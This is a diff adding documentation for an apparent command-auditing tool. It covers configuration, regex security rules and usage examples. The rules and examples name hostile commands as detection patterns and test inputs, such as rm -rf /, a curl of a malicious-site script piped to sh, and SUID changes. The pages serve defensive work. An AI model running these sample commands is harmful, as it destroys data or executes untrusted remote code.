+ai: + model: "gpt-4o" # AI model to use + timeout: 30 # Request timeout (seconds) + max_retries: 3 # Maximum retry attempts + temperature: 0.1 # AI creativity (0.0-1.0) + max_tokens: 1000 # Maximum response tokens + + # API Configuration + api: + base_url: "https://api.openai.com/v1" # API endpoint + # API key from environment: OPENAI_API_KEY + +# Security Settings +security: + max_command_length: 1000 # Maximum command length + allow_multiline: false # Allow multiline commands + strict_mode: false # Enable strict validation + quarantine_dangerous: true # Quarantine dangerous commands + + # Severity thresholds + thresholds: + critical: "block" # Block critical issues + high: "warn" # Warn on high severity + medium: "log" # Log medium severity + low: "ignore" # Ignore low severity + +# Logging Configuration +logging: + level: "INFO" # Log level (DEBUG, INFO, WARNING, ERROR) + file: ".ai-auditor/logs/auditor.log" # Log file path + max_size: "10MB" # Maximum log file size + backup_count: 5 # Number of backup files + format: "%(asctime)s - %(name)s - %(levelname)s - %(message)s" + +# Performance Settings +performance: + cache_enabled: true # Enable response caching + cache_ttl: 3600 # Cache TTL (seconds) + parallel_requests: 3 # Parallel API requests + +# Git Integration +git: + hooks_enabled: true # Enable git hooks + auto_setup: true # Auto-setup hooks on init + backup_existing: true # Backup existing hooks + + # Hook configuration + hooks: + pre_commit: true # Enable pre-commit hook + pre_push: false # Enable pre-push hook + commit_msg: false # Enable commit-msg hook + +# Template Settings +templates: + default: "general" # Default template + auto_detect: true # Auto-detect project type + +# Reporting +reporting: + enabled: true # Enable reporting + format: "json" # Report format (json, yaml, text) + output_dir: ".ai-auditor/reports" # Report output directory +``` + +## ๐Ÿ›ก๏ธ Security Rules Configuration + +Security rules define what commands are considered dangerous or suspicious. They use pattern matching and severity levels: + +
+
+

๐Ÿ”’ Security Rules

+

Define dangerous command patterns and validation rules

+ Configure Rules +
+ +
+

๐ŸŽฏ Performance Rules

+

Validate commands for performance and efficiency

+ Configure Performance +
+ +
+

โœ๏ธ Custom Rules

+

Create your own validation rules and patterns

+ Create Custom Rules +
+
+ +## ๐Ÿค– AI Prompts Configuration + +Customize how AI analyzes commands by configuring prompts: + +
+
+

๐Ÿง  Analysis Prompts

+

Configure how AI analyzes command safety and intent

+ Configure Analysis +
+ +
+

๐Ÿ” Security Prompts

+

Specialized prompts for security-focused analysis

+ Configure Security +
+ +
+

๐ŸŽจ Custom Prompts

+

Create domain-specific analysis prompts

+ Create Custom +
+
+ +## ๐ŸŽจ Template System + +Templates provide pre-configured settings for different project types: + +
+
+

๐Ÿ Python Template

+

Optimized for Python development workflows

+ ai-auditor init --template python +
+ +
+

๐ŸŸข Node.js Template

+

Configured for JavaScript/TypeScript projects

+ ai-auditor init --template nodejs +
+ +
+

๐Ÿฆ€ Rust Template

+

Tailored for Rust development environments

+ ai-auditor init --template rust +
+ +
+

๐Ÿ”’ Security Template

+

Enhanced security rules for production environments

+ ai-auditor init --template security +
+ +
+

๐ŸŽฏ General Template

+

Universal configuration for any project type

+ ai-auditor init --template general +
+ +
+

โœ๏ธ Custom Template

+

Create your own template configurations

+ Learn More +
+
+ +## ๐Ÿ”— Git Hooks Integration + +Configure automatic command validation with git hooks: + +```yaml +# Git hooks configuration +git: + hooks_enabled: true + auto_setup: true + backup_existing: true + + hooks: + pre_commit: + enabled: true + validate_commands: true + check_commit_msg: false + + pre_push: + enabled: false + validate_branch: true + + commit_msg: + enabled: false + validate_format: true +``` + +[Learn more about Git Hooks โ†’](/configuration/git-hooks/) + +## ๐Ÿš€ Quick Configuration Examples + +### Basic Python Project Setup + +```bash +# Initialize with Python template +ai-auditor init --template python + +# Customize security level +ai-auditor config set security.strict_mode true +ai-auditor config set security.thresholds.medium "warn" +``` + +### High-Security Environment + +```bash +# Initialize with security template +ai-auditor init --template security --security-level strict + +# Enable all security features +ai-auditor config set security.quarantine_dangerous true +ai-auditor config set security.thresholds.low "warn" +ai-auditor config set git.hooks.pre_push true +``` + +### Development Environment + +```bash +# Initialize with relaxed settings +ai-auditor init --template general + +# Configure for development +ai-auditor config set security.strict_mode false +ai-auditor config set logging.level "DEBUG" +ai-auditor config set performance.cache_enabled false +``` + +## ๐Ÿ› ๏ธ Configuration Management + +### View Current Configuration + +```bash +# View all configuration +ai-auditor config show + +# View specific section +ai-auditor config show security + +# View specific setting +ai-auditor config get security.strict_mode +``` + +### Update Configuration + +```bash +# Set individual values +ai-auditor config set ai.model "gpt-4-turbo" +ai-auditor config set security.max_command_length 2000 + +# Enable/disable features +ai-auditor config set git.hooks_enabled true +ai-auditor config set logging.level "WARNING" +``` + +### Reset Configuration + +```bash +# Reset to defaults +ai-auditor config reset + +# Reset specific section +ai-auditor config reset security + +# Reset to template +ai-auditor config reset --template python +``` + +## ๐Ÿ”„ Environment-Specific Configuration + +Manage different configurations for different environments: + +```yaml +# Development environment +environment: development +ai: + model: "gpt-3.5-turbo" # Faster/cheaper model + timeout: 10 + +security: + strict_mode: false # Relaxed validation + thresholds: + critical: "warn" # Don't block in dev + +logging: + level: "DEBUG" # Verbose logging +``` + +```yaml +# Production environment +environment: production +ai: + model: "gpt-4o" # Best model + timeout: 30 + +security: + strict_mode: true # Strict validation + thresholds: + critical: "block" # Block dangerous commands + +logging: + level: "WARNING" # Minimal logging +``` + +Switch environments: + +```bash +ai-auditor config env development +ai-auditor config env production +``` + +## ๐Ÿ“Š Configuration Validation + +Validate your configuration: + +```bash +# Check configuration syntax +ai-auditor config validate + +# Test configuration with sample commands +ai-auditor config test + +# Show configuration summary +ai-auditor config summary +``` + +## ๐Ÿ”ง Advanced Configuration Topics + +
+
+

๐Ÿ”Œ Plugin System

+

Extend functionality with custom plugins

+ Configure Plugins +
+ +
+

๐ŸŒ Network Configuration

+

Configure proxies, timeouts, and API endpoints

+ Network Settings +
+ +
+

๐Ÿ“Š Monitoring & Metrics

+

Configure monitoring and performance metrics

+ Setup Monitoring +
+ +
+

๐Ÿ” Security Hardening

+

Advanced security configuration and hardening

+ Security Guide +
+
+ +## ๐Ÿ“š Next Steps + +Once you've configured AI Command Auditor: + +- ๐ŸŽฏ [Try the Tutorial](/examples/tutorial/) - Learn with hands-on examples +- ๐Ÿ”Œ [Explore CLI Commands](/api/cli/) - Master the command-line interface +- ๐Ÿ’ก [Browse Examples](/examples/) - See real-world configurations +- โ“ [Get Support](/support/) - Find help and community resources + + diff --git a/docs/configuration/security-rules.md b/docs/configuration/security-rules.md new file mode 100644 index 0000000..d3ed8e1 --- /dev/null +++ b/docs/configuration/security-rules.md @@ -0,0 +1,590 @@ +--- +layout: single +title: "Security Rules Configuration" +description: "Configure security rules and validation patterns" +toc: true +toc_label: "Security Rules" +toc_icon: "shield-alt" +sidebar: + nav: "docs" +--- + +# ๐Ÿ›ก๏ธ Security Rules Configuration + +Security rules are the foundation of AI Command Auditor's validation system. They define patterns, severity levels, and actions for different types of potentially dangerous commands. + +## ๐Ÿ“‹ Overview + +Security rules work in combination with AI analysis to provide comprehensive command validation: + +- **Pattern Matching**: Regular expressions and string patterns to detect dangerous commands +- **Severity Levels**: Critical, high, medium, low severity classification +- **Actions**: Block, warn, log, or ignore based on severity thresholds +- **Context Awareness**: Rules can be context-specific (file types, environments, etc.) +- **Customization**: Easily add, modify, or disable rules for your needs + +## ๐Ÿ—๏ธ Rule Structure + +Security rules are defined in YAML files in the `.ai-auditor/config/rules/` directory: + +``` +.ai-auditor/config/rules/ +โ”œโ”€โ”€ security-rules.yml # Main security rules +โ”œโ”€โ”€ performance-rules.yml # Performance-related rules +โ”œโ”€โ”€ custom-rules.yml # Your custom rules +โ””โ”€โ”€ environment-specific/ + โ”œโ”€โ”€ production.yml # Production-only rules + โ”œโ”€โ”€ development.yml # Development rules + โ””โ”€โ”€ ci-cd.yml # CI/CD pipeline rules +``` + +## ๐Ÿ“ Rule Definition Format + +### Basic Rule Structure + +```yaml +# security-rules.yml +rules: + rule_name: + pattern: "regex_pattern_here" + severity: "critical|high|medium|low" + message: "Human-readable description" + category: "rule_category" + enabled: true + environments: ["production", "staging"] # Optional + file_types: [".sh", ".py"] # Optional + contexts: ["git_hook", "cli"] # Optional +``` + +### Complete Example + +```yaml +# Example security rules configuration +version: "1.0" +metadata: + description: "Security rules for AI Command Auditor" + last_updated: "2024-01-15" + +rules: + # Destructive file operations + dangerous_rm: + pattern: "rm\\s+(-[rf]+|--recursive|--force).*(/|\\*|~)" + severity: "critical" + message: "Potentially destructive file deletion detected" + category: "file_operations" + enabled: true + explanation: | + This rule detects recursive or forced file deletion commands that could + remove important system files or directories. + examples: + - "rm -rf /" + - "rm -f ~/.bashrc" + - "rm --recursive /usr" + + # Privilege escalation + sudo_without_args: + pattern: "sudo\\s*$" + severity: "high" + message: "Interactive sudo without specific command" + category: "privilege_escalation" + enabled: true + + # Network operations + curl_pipe_sh: + pattern: "curl.*\\|.*sh" + severity: "critical" + message: "Downloading and executing scripts is dangerous" + category: "network_security" + enabled: true + + # System modification + modify_etc: + pattern: "(echo|cat|tee).*>.*(/etc/|/usr/|/var/)" + severity: "high" + message: "Modifying system directories detected" + category: "system_modification" + enabled: true + environments: ["production", "staging"] + + # Development tools misuse + eval_usage: + pattern: "eval\\s*\\(" + severity: "medium" + message: "Use of eval() function detected" + category: "code_execution" + enabled: true + file_types: [".py", ".js", ".php"] +``` + +## ๐Ÿ”ง Rule Categories + +Security rules are organized into logical categories: + +### File Operations + +- **Dangerous deletions**: `rm -rf`, recursive removes +- **Permission changes**: `chmod 777`, excessive permissions +- **Ownership changes**: `chown`, `chgrp` on sensitive files + +```yaml +file_operations: + rm_recursive: + pattern: "rm\\s+(-r|-rf|--recursive)" + severity: "high" + message: "Recursive file deletion" + + chmod_777: + pattern: "chmod\\s+(777|a\\+rwx)" + severity: "medium" + message: "Overly permissive file permissions" + + chown_root: + pattern: "chown\\s+root" + severity: "high" + message: "Changing file ownership to root" +``` + +### Network Security + +- **Download and execute**: `curl | sh`, `wget | bash` +- **Suspicious downloads**: Downloads from suspicious domains +- **Unencrypted transfers**: HTTP instead of HTTPS + +```yaml +network_security: + download_execute: + pattern: "(curl|wget).*\\|\\s*(sh|bash|python)" + severity: "critical" + message: "Downloading and executing code" + + http_download: + pattern: "(curl|wget)\\s+http://" + severity: "medium" + message: "Unencrypted download detected" + + suspicious_domains: + pattern: "(curl|wget).*\\.(tk|ml|ga|cf)/" + severity: "high" + message: "Download from suspicious domain" +``` + +### Privilege Escalation + +- **Sudo misuse**: Interactive sudo, sudo without commands +- **SUID operations**: Setting SUID bits +- **User switching**: `su` without proper context + +```yaml +privilege_escalation: + interactive_sudo: + pattern: "sudo\\s*$" + severity: "high" + message: "Interactive sudo session" + + suid_bit: + pattern: "chmod\\s+[4567][0-7][0-7][0-7]" + severity: "critical" + message: "Setting SUID/SGID bits" + + sudo_all: + pattern: "sudo\\s+.*\\*" + severity: "high" + message: "Sudo with wildcard patterns" +``` + +### Code Execution + +- **Dynamic execution**: `eval`, `exec`, `system` +- **Code injection**: String interpolation in commands +- **Unsafe deserialization**: `pickle.loads`, `eval(input())` + +```yaml +code_execution: + python_eval: + pattern: "eval\\s*\\(" + severity: "medium" + message: "Python eval() usage" + file_types: [".py"] + + shell_injection: + pattern: "os\\.system\\s*\\(" + severity: "high" + message: "Potential shell injection" + file_types: [".py"] + + javascript_eval: + pattern: "eval\\s*\\(" + severity: "medium" + message: "JavaScript eval() usage" + file_types: [".js", ".ts"] +``` + +### System Modification + +- **Service management**: Starting/stopping critical services +- **System configuration**: Modifying `/etc` files +- **Package management**: Installing suspicious packages + +```yaml +system_modification: + service_stop: + pattern: "(systemctl|service)\\s+(stop|disable)" + severity: "medium" + message: "Stopping system services" + + etc_modification: + pattern: "(echo|cat|tee).*>.*(/etc/)" + severity: "high" + message: "Modifying system configuration" + + package_install: + pattern: "(apt|yum|dnf)\\s+install" + severity: "low" + message: "Package installation" + environments: ["production"] +``` + +## โš™๏ธ Severity Levels and Actions + +### Severity Levels + +| Severity | Description | Default Action | Use Cases | +|----------|-------------|----------------|-----------| +| **Critical** | Extremely dangerous commands that could cause system damage | Block | `rm -rf /`, `chmod 777 /etc` | +| **High** | Potentially dangerous commands requiring review | Warn | `sudo` usage, system modifications | +| **Medium** | Suspicious patterns that should be logged | Log | `eval()` usage, unencrypted downloads | +| **Low** | Information-only, tracking patterns | Ignore | Package installations, basic commands | + +### Action Configuration + +Configure how AI Command Auditor responds to different severity levels: + +```yaml +# In auditor.yml +security: + thresholds: + critical: "block" # Block command execution + high: "warn" # Show warning, allow execution + medium: "log" # Log only, no user interruption + low: "ignore" # No action taken + + # Additional options + strict_mode: false # Treat warnings as blocks + quarantine_dangerous: true # Move dangerous commands to quarantine + allow_override: true # Allow users to override warnings +``` + +## ๐ŸŽฏ Context-Specific Rules + +Rules can be applied selectively based on context: + +### Environment-Specific Rules + +```yaml +# Only apply in production +production_only: + package_changes: + pattern: "(apt|yum|pip)\\s+(install|remove)" + severity: "critical" + message: "Package changes forbidden in production" + environments: ["production"] + +# Relaxed rules for development +development_relaxed: + debug_commands: + pattern: "(gdb|strace|ltrace)" + severity: "low" + message: "Debug tools usage" + environments: ["development"] +``` + +### File Type-Specific Rules + +```yaml +# Python-specific rules +python_security: + pickle_usage: + pattern: "pickle\\.loads?" + severity: "high" + message: "Unsafe deserialization detected" + file_types: [".py"] + + input_eval: + pattern: "eval\\s*\\(\\s*input" + severity: "critical" + message: "Evaluating user input is dangerous" + file_types: [".py"] + +# Shell script rules +shell_security: + unquoted_variables: + pattern: "\\$[A-Za-z_][A-Za-z0-9_]*[^\"']" + severity: "medium" + message: "Unquoted variable usage" + file_types: [".sh", ".bash"] +``` + +### Context-Aware Rules + +```yaml +# Git hook specific rules +git_hook_rules: + blocking_operations: + pattern: "(sleep|read|prompt)" + severity: "high" + message: "Blocking operations in git hooks" + contexts: ["git_hook"] + +# CI/CD pipeline rules +ci_cd_rules: + secret_exposure: + pattern: "(password|token|key)\\s*=" + severity: "critical" + message: "Potential secret exposure in CI" + contexts: ["ci_cd"] +``` + +## ๐Ÿ› ๏ธ Custom Rules + +Create your own security rules for specific needs: + +### Adding Custom Rules + +```yaml +# custom-rules.yml +custom_rules: + company_specific: + internal_tools: + pattern: "company-internal-tool" + severity: "medium" + message: "Use approved tool alternatives" + + database_access: + pattern: "mysql.*-p.*\\$" + severity: "high" + message: "Database password in command line" + + cloud_credentials: + pattern: "aws\\s+configure\\s+set" + severity: "medium" + message: "Cloud credential configuration" +``` + +### Domain-Specific Rules + +```yaml +# Data science rules +data_science: + jupyter_root: + pattern: "jupyter.*--allow-root" + severity: "medium" + message: "Running Jupyter as root" + + untrusted_packages: + pattern: "pip\\s+install.*--trusted-host" + severity: "high" + message: "Installing from untrusted sources" + +# Web development rules +web_development: + npm_audit: + pattern: "npm\\s+install.*--ignore-scripts" + severity: "medium" + message: "Ignoring npm security scripts" + + cors_wildcard: + pattern: "Access-Control-Allow-Origin.*\\*" + severity: "medium" + message: "Wildcard CORS configuration" +``` + +## ๐Ÿ”„ Rule Management + +### Enabling/Disabling Rules + +```bash +# Disable specific rule +ai-auditor config set rules.dangerous_rm.enabled false + +# Enable rule for specific environment +ai-auditor config set rules.package_install.environments '["production"]' + +# Set rule severity +ai-auditor config set rules.curl_pipe_sh.severity "critical" +``` + +### Testing Rules + +```bash +# Test rule against command +ai-auditor test-rule dangerous_rm "rm -rf /" + +# Test all rules against command +ai-auditor check-command "sudo rm -rf /tmp" --show-rules + +# Validate rule syntax +ai-auditor validate-rules +``` + +### Rule Performance + +```bash +# Show rule performance statistics +ai-auditor rules stats + +# Profile rule execution time +ai-auditor rules profile + +# Show most triggered rules +ai-auditor rules top-triggered +``` + +## ๐Ÿ“Š Rule Analytics + +Monitor rule effectiveness: + +```yaml +# Enable rule analytics +analytics: + enabled: true + track_matches: true + performance_monitoring: true + +reporting: + rule_usage: true + false_positive_tracking: true + effectiveness_metrics: true +``` + +View analytics: + +```bash +# Rule usage report +ai-auditor report rules-usage + +# False positive analysis +ai-auditor report false-positives + +# Rule effectiveness metrics +ai-auditor report rule-effectiveness +``` + +## ๐Ÿš€ Best Practices + +### Rule Design + +1. **Be Specific**: Avoid overly broad patterns that cause false positives +2. **Test Thoroughly**: Test rules against real commands before deployment +3. **Document Well**: Include clear messages and explanations +4. **Use Categories**: Organize rules logically for easy management +5. **Consider Context**: Apply rules appropriately based on environment + +### Performance Optimization + +1. **Order Matters**: Put most common rules first +2. **Optimize Regex**: Use efficient regular expressions +3. **Cache Results**: Enable rule result caching +4. **Monitor Performance**: Regular performance analysis + +### Team Collaboration + +1. **Version Control**: Keep rule files in version control +2. **Code Review**: Review rule changes like code +3. **Documentation**: Maintain rule documentation +4. **Testing**: Include rule tests in CI/CD + +## ๐Ÿ“š Examples and Templates + +### Starter Rule Set + +```yaml +# starter-rules.yml - Basic security rules +starter_rules: + rm_recursive: + pattern: "rm\\s+(-rf|--recursive)" + severity: "high" + message: "Recursive file deletion" + + sudo_usage: + pattern: "sudo\\s+" + severity: "medium" + message: "Privilege escalation" + + download_execute: + pattern: "(curl|wget).*\\|.*sh" + severity: "critical" + message: "Download and execute" +``` + +### Enterprise Rule Set + +```yaml +# enterprise-rules.yml - Comprehensive enterprise rules +enterprise_rules: + # ... (extensive rule set) +``` + +### Development Rule Set + +```yaml +# development-rules.yml - Development-friendly rules +development_rules: + # ... (relaxed rules for development) +``` + +## ๐Ÿ”— Related Configuration + +- [AI Prompts](/configuration/ai-prompts/) - Configure AI analysis prompts +- [Templates](/configuration/templates/) - Rule templates for different projects +- [Git Hooks](/configuration/git-hooks/) - Integrate rules with git workflows +- [Main Configuration](/configuration/) - Overall configuration options + +## ๐Ÿ“– Next Steps + +- ๐ŸŽฏ [Try Examples](/examples/) - See rules in action +- ๐Ÿ”ง [CLI Reference](/api/cli/) - Command-line rule management +- ๐Ÿค [Contributing](/support/contributing/) - Contribute new rules +- ๐Ÿ†˜ [Get Help](/support/) - Support and troubleshooting + + diff --git a/docs/examples/index.md b/docs/examples/index.md new file mode 100644 index 0000000..ae367d7 --- /dev/null +++ b/docs/examples/index.md @@ -0,0 +1,594 @@ +--- +layout: single +title: "Examples & Tutorials" +description: "Practical examples and step-by-step tutorials" +toc: true +toc_label: "Examples" +toc_icon: "lightbulb" +sidebar: + nav: "docs" +--- + +# ๐Ÿ’ก Examples & Tutorials + +Learn AI Command Auditor through practical examples, step-by-step tutorials, and real-world use cases. From basic usage to advanced integrations, these examples will help you master the tool. + +## ๐ŸŽฏ Getting Started Tutorial + +New to AI Command Auditor? Start here with our comprehensive tutorial that covers installation, basic usage, and configuration. + +
+

๐Ÿš€ Complete Beginner Tutorial

+

Learn everything from installation to advanced configuration in 30 minutes

+
    +
  • โœ… Installation and setup
  • +
  • โœ… First command validation
  • +
  • โœ… Configuration customization
  • +
  • โœ… Git hooks integration
  • +
  • โœ… Team workflow setup
  • +
+ Start Tutorial +
+ +## ๐ŸŽจ Project-Specific Examples + +Choose your development environment and follow tailored examples: + +
+
+

๐Ÿ Python Projects

+

Flask, Django, FastAPI, and general Python development

+
    +
  • Virtual environment validation
  • +
  • Package management security
  • +
  • Script execution safety
  • +
  • CI/CD integration
  • +
+ Python Examples +
+ +
+

๐ŸŸข Node.js Projects

+

React, Express, Nest.js, and JavaScript/TypeScript

+
    +
  • npm/yarn security validation
  • +
  • Script execution checks
  • +
  • Package.json integration
  • +
  • Build process security
  • +
+ Node.js Examples +
+ +
+

๐Ÿฆ€ Rust Projects

+

Cargo, system-level programming, and Rust toolchain

+
    +
  • Cargo command validation
  • +
  • System call security
  • +
  • Cross-compilation safety
  • +
  • Performance optimization
  • +
+ Rust Examples +
+ +
+

๐Ÿณ DevOps & Infrastructure

+

Docker, Kubernetes, Terraform, and automation

+
    +
  • Container security validation
  • +
  • Infrastructure as Code checks
  • +
  • Deployment pipeline safety
  • +
  • Cloud command validation
  • +
+ DevOps Examples +
+ +
+

๐Ÿ”’ Security-Focused

+

High-security environments and compliance

+
    +
  • Strict security policies
  • +
  • Compliance validation
  • +
  • Audit trail setup
  • +
  • Zero-trust workflows
  • +
+ Security Examples +
+ +
+

๐Ÿข Enterprise Integration

+

Large teams, multiple projects, centralized management

+
    +
  • Centralized configuration
  • +
  • Team policy management
  • +
  • Monitoring and reporting
  • +
  • Custom integrations
  • +
+ Enterprise Examples +
+
+ +## ๐Ÿ”ง Integration Examples + +Learn how to integrate AI Command Auditor with popular tools and workflows: + +### CI/CD Platform Integration + +
+
+

๐Ÿ™ GitHub Actions

+

Integrate with GitHub workflows

+ View Example +
+ +
+

๐ŸฆŠ GitLab CI

+

Setup with GitLab pipelines

+ View Example +
+ +
+

๐Ÿ”ต Azure DevOps

+

Azure Pipelines integration

+ View Example +
+ +
+

โšช Jenkins

+

Jenkins pipeline setup

+ View Example +
+
+ +### Development Tools Integration + +
+
+

๐Ÿ”— Pre-commit Hooks

+

Automatic validation on commit

+ View Example +
+ +
+

๐Ÿ“ VS Code Extension

+

Editor integration and real-time feedback

+ View Example +
+ +
+

๐Ÿณ Docker Integration

+

Container-based workflows

+ View Example +
+ +
+

โ˜ธ๏ธ Kubernetes

+

K8s deployment validation

+ View Example +
+
+ +## ๐Ÿš€ Quick Start Examples + +### 5-Minute Setup for Python + +```bash +# 1. Install with Python template +curl -fsSL https://raw.githubusercontent.com/etherisc/ai-command-auditor/main/install.sh | sh -s -- --template python + +# 2. Test with a dangerous command +ai-auditor check-command "python -c 'import os; os.system(\"rm -rf /\")'" + +# 3. Setup git hooks +ai-auditor setup-hooks + +# 4. Customize for your project +ai-auditor config set security.strict_mode true +``` + +### 5-Minute Setup for Node.js + +```bash +# 1. Install with Node.js template +curl -fsSL https://raw.githubusercontent.com/etherisc/ai-command-auditor/main/install.sh | sh -s -- --template nodejs + +# 2. Test npm command validation +ai-auditor check-command "npm install suspicious-package" + +# 3. Add to package.json +npm run postinstall ai-auditor setup-hooks + +# 4. Configure for development +ai-auditor config set logging.level "DEBUG" +``` + +### 5-Minute Security Setup + +```bash +# 1. Install with strict security +curl -fsSL https://raw.githubusercontent.com/etherisc/ai-command-auditor/main/install.sh | sh -s -- --template security --security-level strict + +# 2. Test security validation +ai-auditor check-command "sudo rm -rf /var/log/*" + +# 3. Enable all security features +ai-auditor config set security.quarantine_dangerous true + +# 4. Setup monitoring +ai-auditor config set reporting.enabled true +``` + +## ๐Ÿ“‹ Use Case Examples + +### Web Development Team + +```bash +# Setup for a web development team +ai-auditor init --template nodejs + +# Configure for team collaboration +ai-auditor config set git.hooks.pre_push true +ai-auditor config set security.thresholds.medium "warn" + +# Add custom rules for web security +cat >> .ai-auditor/config/rules/custom-rules.yml << EOF +web_security: + - pattern: "curl.*\|\s*sh" + severity: "critical" + message: "Downloading and executing scripts is dangerous" + + - pattern: "npm install.*--unsafe-perm" + severity: "high" + message: "Unsafe npm installation detected" +EOF + +# Test the configuration +ai-auditor check-command "curl https://malicious-site.com/script.sh | sh" +``` + +### DevOps Pipeline + +```yaml +# .github/workflows/security-validation.yml +name: Security Validation +on: [push, pull_request] + +jobs: + validate-commands: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v3 + + - name: Setup AI Command Auditor + run: | + curl -fsSL https://raw.githubusercontent.com/etherisc/ai-command-auditor/main/install.sh | sh -s -- --template security + ai-auditor config set security.strict_mode true + + - name: Validate Scripts + run: | + ai-auditor scan-directory scripts/ + ai-auditor validate-dockerfile Dockerfile + ai-auditor check-makefile Makefile + + - name: Generate Security Report + run: ai-auditor generate-report --format json > security-report.json + + - name: Upload Report + uses: actions/upload-artifact@v3 + with: + name: security-report + path: security-report.json +``` + +### Python Data Science Project + +```python +# Custom validation for data science workflows +from ai_command_auditor import CommandAuditor, SecurityRules + +# Initialize with custom rules for data science +auditor = CommandAuditor() + +# Add data science specific rules +data_science_rules = SecurityRules([ + { + 'pattern': r'jupyter.*--allow-root', + 'severity': 'medium', + 'message': 'Running Jupyter as root is not recommended' + }, + { + 'pattern': r'pip install.*--trusted-host', + 'severity': 'high', + 'message': 'Installing from untrusted hosts is dangerous' + }, + { + 'pattern': r'wget.*\.py.*python', + 'severity': 'critical', + 'message': 'Downloading and executing Python scripts is dangerous' + } +]) + +auditor.add_rules(data_science_rules) + +# Validate common data science commands +commands = [ + "jupyter notebook --ip=0.0.0.0", + "pip install pandas numpy", + "python -m pip install --trusted-host pypi.org package", + "wget https://raw.githubusercontent.com/user/repo/script.py && python script.py" +] + +for cmd in commands: + result = auditor.analyze_command(cmd) + print(f"Command: {cmd}") + print(f"Safe: {result.is_safe}") + if not result.is_safe: + print(f"Warning: {result.message}") + print("---") +``` + +## ๐Ÿ”„ Advanced Examples + +### Custom AI Model Integration + +```python +# Using a custom AI model +from ai_command_auditor import CommandAuditor + +auditor = CommandAuditor({ + 'ai': { + 'model': 'claude-3-sonnet', + 'api_base': 'https://api.anthropic.com/v1', + 'api_key': 'your-anthropic-key', + 'temperature': 0.1, + 'max_tokens': 1000 + } +}) + +# Custom prompt for security analysis +custom_prompt = """ +Analyze this command for security risks: +Command: {command} + +Focus on: +1. Potential data exfiltration +2. System modification risks +3. Network security implications +4. Privilege escalation + +Provide a risk score (0-100) and specific recommendations. +""" + +auditor.configure_prompt('security_analysis', custom_prompt) +``` + +### Multi-Environment Configuration + +```yaml +# .ai-auditor/config/environments/development.yml +environment: development +ai: + model: "gpt-3.5-turbo" + timeout: 10 + +security: + strict_mode: false + thresholds: + critical: "warn" + high: "log" + +logging: + level: "DEBUG" +``` + +```yaml +# .ai-auditor/config/environments/production.yml +environment: production +ai: + model: "gpt-4o" + timeout: 30 + +security: + strict_mode: true + quarantine_dangerous: true + thresholds: + critical: "block" + high: "warn" + +logging: + level: "WARNING" +``` + +```bash +# Switch between environments +ai-auditor config env development # For development +ai-auditor config env production # For production +``` + +## ๐Ÿ” Troubleshooting Examples + +### Common Issues and Solutions + +```bash +# Problem: API rate limiting +# Solution: Configure caching and reduce parallel requests +ai-auditor config set performance.cache_enabled true +ai-auditor config set performance.parallel_requests 1 +ai-auditor config set performance.cache_ttl 7200 + +# Problem: False positives +# Solution: Customize security rules +ai-auditor config set security.strict_mode false +ai-auditor config set security.thresholds.medium "log" + +# Problem: Performance issues +# Solution: Enable async processing +ai-auditor config set performance.async_enabled true +ai-auditor config set performance.batch_size 10 +``` + +### Debug Mode Usage + +```bash +# Enable debug mode for troubleshooting +ai-auditor config set logging.level "DEBUG" + +# Check configuration +ai-auditor config validate +ai-auditor config test + +# Test with specific commands +ai-auditor check-command "test command" --debug --verbose + +# View detailed logs +tail -f .ai-auditor/logs/auditor.log +``` + +## ๐Ÿ“š Example Projects + +Complete example projects you can clone and explore: + +
+
+

๐Ÿ Python Flask API

+

Web API with AI Command Auditor integration

+ View Project +
+ +
+

๐ŸŸข Node.js Express App

+

Express.js application with security validation

+ View Project +
+ +
+

๐Ÿฆ€ Rust CLI Tool

+

Command-line tool with integrated validation

+ View Project +
+ +
+

๐Ÿณ Docker DevOps

+

Complete DevOps pipeline with security validation

+ View Project +
+
+ +## ๐Ÿ“– Next Steps + +After exploring these examples: + +- ๐Ÿ”ง [Customize Configuration](/configuration/) - Tailor AI Command Auditor to your needs +- ๐Ÿ”Œ [Explore API Reference](/api/) - Learn about advanced features +- ๐Ÿ†˜ [Get Support](/support/) - Find help and join the community +- ๐ŸŽฏ [Contribute Examples](/support/contributing/) - Share your own examples + + diff --git a/docs/examples/tutorial.md b/docs/examples/tutorial.md new file mode 100644 index 0000000..e15b45a --- /dev/null +++ b/docs/examples/tutorial.md @@ -0,0 +1,871 @@ +--- +layout: single +title: "Getting Started Tutorial" +description: "Step-by-step tutorial for setting up and using AI Command Auditor" +toc: true +toc_label: "Tutorial Steps" +toc_icon: "graduation-cap" +sidebar: + nav: "docs" +--- + +# ๐ŸŽ“ Getting Started Tutorial + +Welcome to the AI Command Auditor tutorial! This comprehensive guide will walk you through installing, configuring, and using AI Command Auditor to secure your development workflow. By the end of this tutorial, you'll have a fully configured setup that validates commands and protects your projects. + +## ๐Ÿ“š What You'll Learn + +- Installing AI Command Auditor in different environments +- Setting up your first project with security validation +- Configuring rules and AI prompts for your needs +- Integrating with git hooks for automatic validation +- Using the CLI and Python API effectively +- Best practices for team collaboration + +## ๐ŸŽฏ Prerequisites + +Before starting, make sure you have: + +- Python 3.8 or higher +- Git installed and configured +- Basic familiarity with command line +- (Optional) OpenAI or Anthropic API key for enhanced AI analysis + +## ๐Ÿ“ฆ Step 1: Installation + +Let's start by installing AI Command Auditor. Choose the method that best fits your workflow: + +### Quick Installation (Recommended) + +The fastest way to get started is with our one-line installer: + +```bash +curl -fsSL https://raw.githubusercontent.com/etherisc/ai-command-auditor/main/install.sh | sh +``` + +This installer will: + +- Download and install the latest version +- Set up the configuration directory +- Configure shell integration +- Install default templates and rules + +### Alternative: Python Package Installation + +If you prefer to install via pip: + +```bash +# Install the package +pip install ai-command-auditor + +# Initialize configuration +ai-auditor install --local +``` + +### Verify Installation + +Check that everything is working: + +```bash +# Check version +ai-auditor --version + +# Test basic functionality +ai-auditor check-command "echo 'Hello, World!'" +``` + +**Expected Output:** + +``` +AI Command Auditor v1.0.0 + +Command Analysis: echo 'Hello, World!' +=================================== + +โœ… RISK LEVEL: LOW +๐Ÿ”ข SAFETY SCORE: 95/100 + +โœ… No security issues found +๐Ÿ“ This command appears safe to execute +``` + +## ๐Ÿ—๏ธ Step 2: First Project Setup + +Now let's set up AI Command Auditor for your first project: + +### Create a Sample Project + +```bash +# Create and enter project directory +mkdir my-secure-project +cd my-secure-project + +# Initialize git repository +git init + +# Create some sample files +echo "# My Secure Project" > README.md +echo "print('Hello from Python!')" > hello.py +echo "#!/bin/bash\necho 'Hello from Bash!'" > hello.sh +chmod +x hello.sh +``` + +### Initialize AI Command Auditor + +```bash +# Initialize for this project 